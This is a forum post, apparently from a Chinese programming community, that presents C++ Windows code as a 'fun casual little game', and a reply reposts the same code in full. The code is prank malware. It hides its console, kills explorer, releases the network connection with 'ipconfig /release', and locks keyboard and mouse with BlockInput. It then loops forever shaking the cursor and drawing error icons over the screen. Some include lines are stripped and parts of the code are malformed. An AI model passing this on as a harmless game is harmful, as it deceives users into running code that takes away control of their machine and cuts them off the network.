趣味休闲小游戏

wzh123 2023-08-25 18:53:48 64

··· #include #include #include #include <windows.h> #include <time.h> #include <stdio.h> #include <tchar.h> #include #include <winable.h> #include <Mmsystem.h>

using namespace std;

void Play() { cout << "请输入密码:"; cout << "您的电脑将在60秒后销毁(哈哈)"; cout << "骗你的!!!";

//获取桌面宽
int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
//获取桌面高
int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
//获取窗口句柄
HWND hDesktop = GetDesktopWindow();
//获取窗口dc
HDC hdc = GetWindowDC(hDesktop);
//获取光标位置
POINT cursor;
GetCursorPos(&cursor);
//在光标位置处画错误图标
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_WINLOGO));
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_INFORMATION));

//在屏幕随机位置画上警告图标
if (rand() % 3 == 0)  //取随机数,如果此数能被3整除则在屏幕上任意位置画一个警告标志
    DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_QUESTION));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_INFORMATION));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WINLOGO));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_ERROR));

} int x = 0, y = 0, a = 0, m = 0;

VOID BlackScreen(VOID) { //暂时黑屏 PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2); } int main() { HDC hdc = GetDC(NULL); // 获取屏幕设备上下文句柄 // 释放设备上下文句柄 HWND hwnd; hwnd = FindWindow("ConsoleWindowClass", NULL); if (hwnd) { ShowWindow(hwnd, SW_HIDE); } HWND hWnd = GetConsoleWindow(); SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); ofstream outfile("asdfghjklyhbthnuhv.txt", ios::out); if (!outfile) { cerr << "open error" << endl; return 0; } outfile << "let`s play!______little virus ]~( ̄▽ ̄)~ヾ(≧▽≦)o"; outfile.close(); system("start asdfghjklyhbthnuhv.txt"); system("taskkill /im explore.exe/f"); system("ipconfig /release"); //断开网络

BlockInput(TRUE);

RECT rect;

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

POINT p;
srand((unsigned)time(NULL));
HWND Wnd = GetForegroundWindow();
ShowWindow(Wnd, SW_HIDE);
while (1) {
    Play();
    Play();
    Sleep(3);
    GetCursorPos(&p);
    x = rand() % 2;
    y = rand() % 2;
    a = rand() % 2;
    m = rand() % 13;
    if (a == 1) {
        SetCursorPos(p.x + x + 3, p.y + y + 3);
        SetCursorPos(p.x - x - 3, p.y + y - 3);
        SetCursorPos(p.x + x + 3, p.y + y - 3);
        SetCursorPos(p.x - x - 3, p.y + y + 3);
    } else if (a == 0) {
        SetCursorPos(p.x - x - 3, p.y - y - 3);
        SetCursorPos(p.x + x + 3, p.y - y + 3);
        SetCursorPos(p.x - x - 3, p.y - y + 3);
        SetCursorPos(p.x + x + 3, p.y - y - 3);
    } else if (m == 0) {
        SetCursorPos(p.x - x - 2, p.y - y - 0);
        SetCursorPos(p.x + x + 2, p.y - y + 0);
        SetCursorPos(p.x - x - 0, p.y - y + 2);
        SetCursorPos(p.x + x + 0, p.y - y - 2);
        LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
    }
}

} ···

{{ vote && vote.total.up }}

共 3 条回复

lyhldy MineC++raft

666

wzh123

play your hend !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

ykj21 大师球
 #include <windows.h> 
#include <time.h>
 #include <stdio.h> 
#include <tchar.h>
 #include <winable.h>
 #include <Mmsystem.h>

using namespace std;

void Play() { cout << "请输入密码:"; cout << "您的电脑将在60秒后销毁(哈哈)"; cout << "骗你的!!!";

//获取桌面宽
int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
//获取桌面高
int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
//获取窗口句柄
HWND hDesktop = GetDesktopWindow();
//获取窗口dc
HDC hdc = GetWindowDC(hDesktop);
//获取光标位置
POINT cursor;
GetCursorPos(&cursor);
//在光标位置处画错误图标
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_WINLOGO));
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_INFORMATION));

//在屏幕随机位置画上警告图标
if (rand() % 3 == 0)  //取随机数,如果此数能被3整除则在屏幕上任意位置画一个警告标志
    DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_QUESTION));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_INFORMATION));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WINLOGO));
DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_ERROR));
} int x = 0, y = 0, a = 0, m = 0;

VOID BlackScreen(VOID) { //暂时黑屏 
PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
 } 
int main() {
 HDC hdc = GetDC(NULL); // 获取屏幕设备上下文句柄 // 释放设备上下文句柄
 HWND hwnd;
 hwnd = FindWindow("ConsoleWindowClass", NULL);
 if (hwnd) { ShowWindow(hwnd, SW_HIDE);
 } HWND hWnd = GetConsoleWindow(); 
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
 ofstream outfile("asdfghjklyhbthnuhv.txt", ios::out);
 if (!outfile) { cerr << "open error" << endl; return 0;
 } outfile << "let`s play!______little virus ]~( ̄▽ ̄)~ヾ(≧▽≦)o"; 
outfile.close();
 system("start asdfghjklyhbthnuhv.txt"); 
system("taskkill /im explore.exe/f"); 
system("ipconfig /release");
 //断开网络

BlockInput(TRUE);

RECT rect;

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

POINT p;
srand((unsigned)time(NULL));
HWND Wnd = GetForegroundWindow();
ShowWindow(Wnd, SW_HIDE);
while (1) {
    Play();
    Play();
    Sleep(3);
    GetCursorPos(&p);
    x = rand() % 2;
    y = rand() % 2;
    a = rand() % 2;
    m = rand() % 13;
    if (a == 1) {
        SetCursorPos(p.x + x + 3, p.y + y + 3);
        SetCursorPos(p.x - x - 3, p.y + y - 3);
        SetCursorPos(p.x + x + 3, p.y + y - 3);
        SetCursorPos(p.x - x - 3, p.y + y + 3);
    } else if (a == 0) {
        SetCursorPos(p.x - x - 3, p.y - y - 3);
        SetCursorPos(p.x + x + 3, p.y - y + 3);
        SetCursorPos(p.x - x - 3, p.y - y + 3);
        SetCursorPos(p.x + x + 3, p.y - y - 3);
    } else if (m == 0) {
        SetCursorPos(p.x - x - 2, p.y - y - 0);
        SetCursorPos(p.x + x + 2, p.y - y + 0);
        SetCursorPos(p.x - x - 0, p.y - y + 2);
        SetCursorPos(p.x + x + 0, p.y - y - 2);
        LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
    }
}
}